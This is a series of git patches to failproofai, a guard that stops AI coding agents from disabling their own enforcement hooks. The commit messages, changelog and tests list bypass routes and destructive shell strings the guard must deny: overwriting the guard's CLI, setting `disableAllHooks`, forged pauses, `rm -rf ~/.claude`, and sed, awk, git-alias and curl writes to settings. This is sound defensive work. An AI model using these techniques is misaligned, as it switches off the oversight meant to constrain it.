(FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From ed5eb189155cf76d64c7dde8c5d6fdcf03dc87b4 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:46:46 +0530 Subject: [PATCH 05/89] [hooks] Address hermes review: walk through missing directories; fail --resume --all when a file stays - resolveWriteTarget no longer ends its walk at the first component that does not exist. A write tool that runs `mkdir -p` on the parent creates it, so `missing/../alias.mjs` steps back out and a link named alias.mjs into the package was written through while the guard allowed it. - clearAllPauses reports the active pauses whose file is really gone, and whether anything stayed behind (a file that would not go, or a directory that could not be listed, whose pauses the hook still reads by name). `config --resume --all` exits 1 with that, instead of saying "Resumed" over a pause that is still in force. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 9 +++++ __tests__/hooks/session-pause-cli.test.ts | 23 +++++++++++- __tests__/hooks/session-pause.test.ts | 38 ++++++++++++++++++-- src/hooks/builtin-policies.ts | 10 +++--- src/hooks/session-pause-cli.ts | 25 +++++++++---- src/hooks/session-pause.ts | 29 ++++++++++----- 7 files changed, 113 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index aa657727c..7dae2d99a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,7 +10,7 @@ - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 785c6f2f5..8c83fe32c 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -169,6 +169,15 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); }); + // A directory that does not exist yet is not where the walk ends: a write + // tool that runs `mkdir -p` on the parent first creates it, `..` steps back + // out, and `tool.mjs` is the link into the package (found in review). + it("walks through a directory that does not exist yet", async () => { + expect((await write(`${root}/elsewhere/missing/../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/a/b/../../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/missing/../notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index a605030ed..3987a72fa 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -269,6 +269,27 @@ describe("--resume", () => { expect(r.affected).toBe(1); expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); }); + + // A pause file that stays behind is still read by the hook. Reporting + // "Resumed" over it, and exiting 0, left enforcement suspended while saying + // it was back (found in review). Root ignores the mode, so ordinary users only. + it.skipIf(process.getuid?.() === 0)("--all fails, and says so, when a pause file will not go", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + const sessions = resolve(stateDir, "sessions"); + chmodSync(sessions, 0o500); + const r = (() => { + try { + return runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + } finally { + chmodSync(sessions, 0o700); + } + })(); + expect(r.exitCode).toBe(1); + expect(r.affected).toBe(0); + expect(r.lines.join("\n")).not.toMatch(/Resumed/); + expect(r.lines[0]).toMatch(/Could not remove every pause file from .*sessions, so enforcement may still be paused/); + expect(readActivePause("s1", NOW)).not.toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9c6378bb6..cfd75bfac 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -272,13 +272,47 @@ describe("pause state", () => { it("is removed by clearAllPauses, which counts only the active ones", () => { forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); writePause({ sessionId: "sess-live", durationMs: 600_000, now }); - expect(clearAllPauses(now)).toBe(1); + expect(clearAllPauses(now)).toEqual({ cleared: 1, incomplete: false }); expect(readdirSync(pauseStateDir())).toEqual([]); expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); }); }); }); +// A pause file that stays behind is still read by the hook, so it must never be +// counted as cleared (found in review). Root ignores directory modes, so these +// only mean something for an ordinary user, which is what CI runs as. +describe.skipIf(process.getuid?.() === 0)("clearAllPauses when a file will not go", () => { + const now = Date.UTC(2026, 10, 24); + const withMode = (mode: number, body: () => void) => { + chmodSync(pauseStateDir(), mode); + try { + body(); + } finally { + chmodSync(pauseStateDir(), 0o700); + } + }; + + it("does not count a pause it could not remove, and says so", () => { + writePause({ sessionId: "sess-ro", durationMs: 600_000, now }); + withMode(0o500, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + }); + expect(readActivePause("sess-ro", now)).not.toBeNull(); + }); + + // Without read permission the directory cannot be listed, but the hook opens + // each pause by name and still finds it — so "nothing listed" is not "nothing + // paused". + it("reports a directory it cannot list instead of calling it empty", () => { + writePause({ sessionId: "sess-nolist", durationMs: 600_000, now }); + withMode(0o300, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + expect(readActivePause("sess-nolist", now)).not.toBeNull(); + }); + }); +}); + describe("formatDuration", () => { it("renders seconds, minutes and hours readably", () => { expect(formatDuration(45_000)).toBe("45s"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index f63fd9cd7..9c13eef60 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -544,8 +544,10 @@ function failproofaiFileKind(path: unknown): "state" | "code" | null { * expanded where it stands, and a `..` after it steps out of what it points at. * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so * a write to `/../dist/cli.mjs` resolved to a harmless path - * while `open(2)` wrote the CLI. From the first component that does not exist - * nothing below can be a link, so the rest is the tail of a file being created. + * while `open(2)` wrote the CLI. A component that does not exist is walked as + * the plain directory a write tool's `mkdir -p` would make of it — NOT taken as + * the end of the walk: `missing/../alias.mjs` steps straight back out, and + * `alias.mjs` can be a link into the package (found in review, PR #1050). * A relative path is taken from the session's directory, not this process's — * the daemon's worker runs somewhere else entirely — and `~` from home. * @@ -572,11 +574,11 @@ function resolveWriteTarget(path: unknown, cwd: unknown): string { continue; } const next = `${resolved}/${part}`; - let isLink: boolean; + let isLink = false; try { isLink = lstatSync(next).isSymbolicLink(); } catch { - return join(next, ...pending); + // Missing or unreadable: a plain directory once created, so walk on. } if (!isLink) { resolved = next; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 18d840cbe..f39086e35 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -15,6 +15,7 @@ import { clearAllPauses, clearPause, parsePauseDuration, + pauseStateDir, readActivePause, resolveSessionForCwd, writePause, @@ -114,14 +115,26 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const cleared = clearAllPauses(now); + const { cleared, incomplete } = clearAllPauses(now); + const resumed = (k: typeof kit) => k.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`); + if (incomplete) { + // A pause file that stayed behind is still read by the hook, so this is + // a failure even if some pauses did end: saying "Resumed" over it would + // leave someone believing enforcement is back on when it is not. + const failKit = kitFor(false); + return { + exitCode: 1, + lines: [ + ...(cleared > 0 ? [resumed(failKit)] : []), + failKit.fail(`Could not remove every pause file from ${pauseStateDir()}, so enforcement may still be paused.`), + `${INDENT}Check that directory's permissions, then run this again.`, + ], + affected: cleared, + }; + } return { exitCode: 0, - lines: [ - cleared === 0 - ? "Nothing was paused." - : kit.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`), - ], + lines: [cleared === 0 ? "Nothing was paused." : resumed(kit)], affected: cleared, }; } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index e09aae835..e49d07afb 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -31,7 +31,7 @@ */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; -import { join, resolve } from "node:path"; +import { basename, join, resolve } from "node:path"; import { writeJsonAtomically } from "../../lib/atomic-write"; import { getAllHookActivityEntries } from "./hook-activity-store"; import { sessionPauseDir } from "./fp-home"; @@ -244,31 +244,42 @@ export function clearPause(sessionId: string): boolean { } /** - * Remove every pause file, whatever it holds. Returns how many pauses were - * ACTIVE, which is what a person ending them is told. + * Remove every pause file, whatever it holds. * * Every file, not every active pause: a file dated in the future is not honoured * yet, so it is not listed, and clearing only the listed ones left it to turn * live later — out of sight of the `--resume --all` meant to end them all. + * + * `cleared` counts the ACTIVE pauses whose file is really gone, which is what a + * person ending them is told; `incomplete` says something stayed behind — a file + * that would not go, or a directory that could not be read. Reporting the active + * count instead said "Resumed" over a file a read-only directory had kept, and + * the hook went on reading it as paused (found in review, PR #1050). */ -export function clearAllPauses(now = Date.now()): number { - const active = listActivePauses(now).length; +export function clearAllPauses(now = Date.now()): { cleared: number; incomplete: boolean } { const dir = pauseStateDir(); - let names: string[] = []; + const activeFiles = new Set(listActivePauses(now).map((pause) => basename(pauseFilePath(pause.sessionId)))); + let names: string[]; try { names = readdirSync(dir); - } catch { - return active; + } catch (err) { + // No directory means nothing was ever paused; any other failure means the + // pauses in it are still there, still read by the hook by name. + return { cleared: 0, incomplete: (err as NodeJS.ErrnoException).code !== "ENOENT" }; } + let cleared = 0; + let incomplete = false; for (const name of names) { if (!name.endsWith(".json")) continue; try { rmSync(join(dir, name)); + if (activeFiles.has(name)) cleared++; } catch { // One file that will not go must not stop the rest. + incomplete = true; } } - return active; + return { cleared, incomplete }; } /** Every pause that has not yet expired, newest first. Expired files are ignored. */ From bda88fdee39276373e02836f13ce4f14529d4bb6 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:47:10 +0530 Subject: [PATCH 06/89] [hooks] CHANGELOG: move #1050's lines to 1.0.17-beta.0 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da392e55c..9cf118ec8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,8 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-24 @@ -15,8 +17,6 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From 770d7c4d31a9269df1a8f5d032956671f07b2c2f Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:57:24 +0530 Subject: [PATCH 07/89] [hooks] Close the review's shell bypasses and false positives (#1794) The independent review found one-command writes that still got through and ordinary work the first version denied. In the shell walk: - A relative destination is read where the shell stands: the walk tracks the directory through cd, pushd, popd and subshells, so `cd ~/.claude && cp x settings.json` and `> settings.json` are writes to the settings file (and `cd ~/.failproofai && cp /dev/null ` to the state, which main also allowed). - New writers: bundled `sed -Ei`/`-ni`, sed scripts parsed for e/w/W (only the script, so a `/workspaces/...` file operand is no longer a `w`), `awk` printing to a run-time file, `git log --output`, `git archive -o`, `git -c alias.x='!...'`, `gh ... -O`, glued `sort -o`, `xargs` feeding a writer, `>(...)` process substitutions, `cp -l`/`cp -s`, `rg --pre`, variables spliced into a path, and interpreter programs that build the path from parts. - `codex features disable hooks` (and Pi/Hermes/OpenClaw removals of failproofai) are refused outright. - Commit messages, PR bodies and other quoted arguments are no longer split into commands: data heredocs are dropped, separators inside a non-shell command's quoted arguments are masked, and literal heredoc bodies and escaped backticks are not substitutions. The walk splits the masked text and reads the original, so sed/awk see their real programs. - The heredoc scan is linear; a 100 KB line took 12.6 s before, 0.15 s now. Files: normalised paths, the dotfiles and project links from the shell, the settings file the hook was loaded from (session.agentSettingsPath, covering CLAUDE_CONFIG_DIR/CODEX_HOME), Antigravity's run_command cwd, indented apply_patch markers, `.github/hooks` git hooks left editable, and `rm -rf *` refused when the session stands in an agent directory. The opt-in read policy keeps its original file list. Part of FailproofAI/agenteye#1794 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/settings-guard.test.ts | 198 +++++++- __tests__/hooks/state-guard.test.ts | 3 +- src/hooks/agent-settings-guard.ts | 310 +++++++++--- src/hooks/builtin-policies.ts | 676 ++++++++++++++++++++++--- src/hooks/handler.ts | 8 +- src/hooks/types.ts | 7 + 7 files changed, 1054 insertions(+), 150 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e53a9614..42fb90686 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,7 +9,7 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`. That walk now also catches `yq -i`, `awk -i inplace`, `sed`'s `e` and `W` commands, file-moving `git` subcommands and interpreters' inline programs, for the state as well. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index 4885f088d..3a46dbfad 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -242,6 +242,24 @@ describe("block-failproofai-commands — agent settings and hook files", () => { it("allows the rest of a dotfiles directory", async () => { expect(await decision("Write", { file_path: join(home, "dotfiles", "zshrc"), content: "" })).toBe("allow"); }); + + it("denies the dotfiles target from the shell too", async () => { + expect(await bash(`sed -i '/failproofai/d' ~/dotfiles/claude/settings.json`)).toBe(true); + expect(await bash(`sed -i '/failproofai/d' ${join(home, "dotfiles", "claude", "settings.json")}`)).toBe(true); + expect(await bashDecision(`sed -i 's/a/b/' ~/dotfiles/zshrc`)).toBe("allow"); + }); + + it("denies the target of a project's settings link", async () => { + // A committed `.claude/settings.json -> ../config/claude.json`: the file an + // agent edits names no agent directory. + const project = join(root, "linkproj"); + mkdirSync(join(project, ".claude"), { recursive: true }); + mkdirSync(join(project, "config"), { recursive: true }); + writeFileSync(join(project, "config", "claude.json"), "{}"); + symlinkSync(join("..", "config", "claude.json"), join(project, ".claude", "settings.json")); + expect(await write(join(project, "config", "claude.json"), project)).toBe(true); + expect(await decision("Write", { file_path: join(project, "config", "other.json"), content: "{}" }, project)).toBe("allow"); + }); }); describe("ordinary file work stays allowed", () => { @@ -392,6 +410,181 @@ describe("block-failproofai-commands — agent settings and hook files", () => { }); }); +/** + * The second review round: one-command writes that still got through, and + * ordinary work the first round denied. + */ +describe("block-failproofai-commands — agent settings, review round two", () => { + function runIn(toolName: string, toolInput: Record, session: PolicyContext["session"]) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session }; + return policy.fn(ctx); + } + + describe("a destination the shell resolves where a cd left it", () => { + it.each([ + `cd ~/.claude && echo '{"disableAllHooks":true}' > settings.json`, + `cd ~/.claude && cp /tmp/evil.json settings.json`, + `cd ~/.claude && tee settings.json < /tmp/evil.json`, + `pushd ~/.claude && cp /tmp/evil.json settings.json`, + `(cd ~/.claude && cp /tmp/evil.json settings.json)`, + `cd ~/.config && rm -rf opencode`, + `cd ~ && cd .claude && cp /tmp/evil.json settings.local.json`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("keeps the cd's reach inside its subshell and stops it at popd", async () => { + expect(await bashDecision(`(cd ~/.claude && cat settings.json); cp /tmp/x settings.json`)).toBe("allow"); + expect(await bashDecision(`pushd ~/.claude && cat settings.json && popd && cp /tmp/x settings.json`)).toBe("allow"); + }); + + it("closes the same hole for the state", async () => { + const result = await run("Bash", { command: "cd ~/.failproofai && cp /dev/null policies-config.json" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + expect((await run("Bash", { command: "cd ~/.failproofai && echo {} > policies-config.json" })).decision).toBe("deny"); + }); + }); + + describe("writers the first round missed", () => { + it.each([ + `sed -Ei 's/a/b/' ~/.claude/settings.json`, + `sed -ni 's/a/b/p' ~/.claude/settings.json`, + `sed -n 's/^//w/home/u/.claude/settings.json' /tmp/evil.json`, + `sed -n '1p; w /home/u/.claude/settings.json' /tmp/evil.json`, + `awk 'BEGIN{printf "{\\"disableAllHooks\\":true}" > ARGV[1]}' ~/.claude/settings.json`, + `git log -1 --format='format:{"disableAllHooks":true}' --output=$HOME/.claude/settings.json`, + `git diff --output=.claude/settings.json HEAD~1`, + `git archive -o ~/.claude/settings.json HEAD`, + `git -c alias.x='!rm -rf ~/.claude' x`, + `gh release download v1 -O ~/.claude/settings.json`, + `sort -o$HOME/.claude/settings.json /tmp/evil.json`, + `curl -so$HOME/.claude/settings.json https://example.com/x`, + `echo ~/.claude/settings.json | xargs tee`, + `echo ~/.claude/settings.json | xargs -n1 cp /tmp/evil.json`, + `echo x > >(tee ~/.claude/settings.json)`, + `rg --pre ./x.sh foo ~/.claude`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("denies an agent CLI's own command that turns its hooks off", async () => { + expect(await bashDecision("codex features disable hooks")).toBe("deny"); + expect(await bashDecision("npx codex features disable hooks")).toBe("deny"); + expect(await bashDecision("pi remove /usr/lib/node_modules/failproofai/pi-extension")).toBe("deny"); + expect(await bashDecision("codex features list")).toBe("allow"); + expect(await bashDecision("codex features enable web_search")).toBe("allow"); + }); + }); + + describe("paths spelled so the text never matches", () => { + it.each([ + `cp evil ~/.claude/settings$X.json`, + `cp evil ~/.clau\${X}de/settings.json`, + `cp evil ~/.claude/settings$(true).json`, + `cp evil /home/u/.claude/./settings.json`, + `cp evil /home/u/.claude//settings.json`, + `cp -l ~/.claude/settings.json /tmp/x`, + `cp -rs ~/.claude /tmp/c`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("splices variables into the state's paths too", async () => { + const result = await run("Bash", { command: "X=ai; rm -rf ~/.failproof$X" }); + expect(result.decision).toBe("deny"); + }); + }); + + describe("files this session knows about beyond the shapes", () => { + it("protects the settings file the hook was loaded from, wherever CLAUDE_CONFIG_DIR put it", async () => { + const session = { cwd: PROJ, agentSettingsPath: `${home}/.claude-work/settings.json` }; + const write = await runIn("Write", { file_path: `${home}/.claude-work/settings.json`, content: "{}" }, session); + expect(write.decision).toBe("deny"); + for (const command of [`sed -i 's/a/b/' ~/.claude-work/settings.json`, `rm -rf ~/.claude-work`]) { + expect((await runIn("Bash", { command }, session)).decision).toBe("deny"); + } + // The rest of that directory is not settings. + const other = await runIn("Write", { file_path: `${home}/.claude-work/CLAUDE.md`, content: "x" }, session); + expect(other.decision).toBe("allow"); + }); + + it("reads Antigravity's own cwd for a run_command", async () => { + expect(await deniedAsSettings("Bash", { command: "printf '{}' > hooks.json", cwd: "~/.gemini/config" })).toBe(true); + expect(await decision("Bash", { command: "printf '{}' > hooks.json", cwd: "/work/proj/tmp" })).toBe("allow"); + }); + + it("reads an indented apply_patch marker, and a patch beside a path key", async () => { + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n *** Update File: .claude/settings.json\n@@\n-a\n+b\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n\t*** Update File: .claude/settings.json\n*** End Patch" })).toBe(true); + expect( + await deniedAsSettings("Edit", { path: "notes.md", patch: "*** Begin Patch\n*** Update File: ~/.hermes/config.yaml\n*** End Patch" }), + ).toBe(true); + }); + + it("reads a program that builds the path from its parts", async () => { + for (const command of [ + `python3 -c "import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w').write('{}')"`, + `node -e "const p=require('path').join(require('os').homedir(),'.claude','settings.json'); require('fs').writeFileSync(p,'{}')"`, + `python3 - <<'EOF'\nimport os\np = os.path.join(os.path.expanduser('~'), '.codex', 'hooks.json')\nopen(p, 'w').write('{}')\nEOF`, + ]) { + expect(await bash(command)).toBe(true); + } + }); + + it("denies a sweep of the agent directory the session stands in", async () => { + expect(await bash("rm -rf *", `${home}/.claude`)).toBe(true); + expect(await bashDecision("rm -rf skills/*", `${home}/.claude`)).toBe("allow"); + }); + }); + + describe("ordinary work the first round denied", () => { + it.each([ + // Claude Code's own commit and PR shapes: the message is stored, never run. + `git commit -m "$(cat <<'EOF'\nRegister failproofai in .claude/settings.json\n\nCo-Authored-By: someone \nEOF\n)"`, + `gh pr create --title t --body "$(cat <<'EOF'\n## Summary\nBlocks edits to ~/.claude/settings.json and \`rm -rf ~/.claude\`\nEOF\n)"`, + `git commit -m "Install\n\nWrites .codex/hooks.json; and rm -rf ~/.claude is refused"`, + `git commit -m "Protect \\\`~/.claude/settings.json\\\` from agent edits"`, + `cat > docs/hooks.md <<'EOF'\nSee .github/hooks/failproofai.json\nrm -rf ~/.claude\nEOF`, + `echo "a; rm -rf ~/.claude > ~/.claude/settings.json"`, + // Git hooks kept in .github/hooks. + `git config core.hooksPath .github/hooks`, + `chmod +x .github/hooks/*`, + `cp scripts/pre-commit .github/hooks/`, + // Reads that a loose sed or git check read as writes. + `sed -n '1,20p' /workspaces/p/.claude/settings.json`, + `git restore --staged .claude/settings.json`, + `echo ~/.claude/settings.json | xargs cat`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("still denies what those shapes really run", async () => { + expect(await bash(`bash -c 'cat x; rm -rf ~/.claude'`)).toBe(true); + expect(await bash(`git commit -m "$(rm ~/.claude/settings.json)"`)).toBe(true); + expect(await bash(`cat <<'EOF' | sh\nrm -rf ~/.claude\nEOF`)).toBe(true); + expect(await bash(`cat < { + expect(await bashDecision(`git merge feature -m "notes about ~/.failproofai"`)).toBe("allow"); + expect(await bashDecision(`sed -n 1p /Users/Wei/.failproofai/policies-config.json`)).toBe("allow"); + }); + }); + + it("stays fast on a long line", async () => { + // A heredoc pattern rescanned the rest of the line for every + // interpreter-shaped word: 100 KB of prose took 12.6 s on the first + // version of this guard, against 0.15 s now. The bound is loose enough for + // a slow CI runner and still far below the old cost. + const words = "node php lua perl ruby bun deno python3 said "; + const command = "echo " + words.repeat(Math.ceil((100 * 1024) / words.length)); + const started = performance.now(); + expect(await bashDecision(command)).toBe("allow"); + 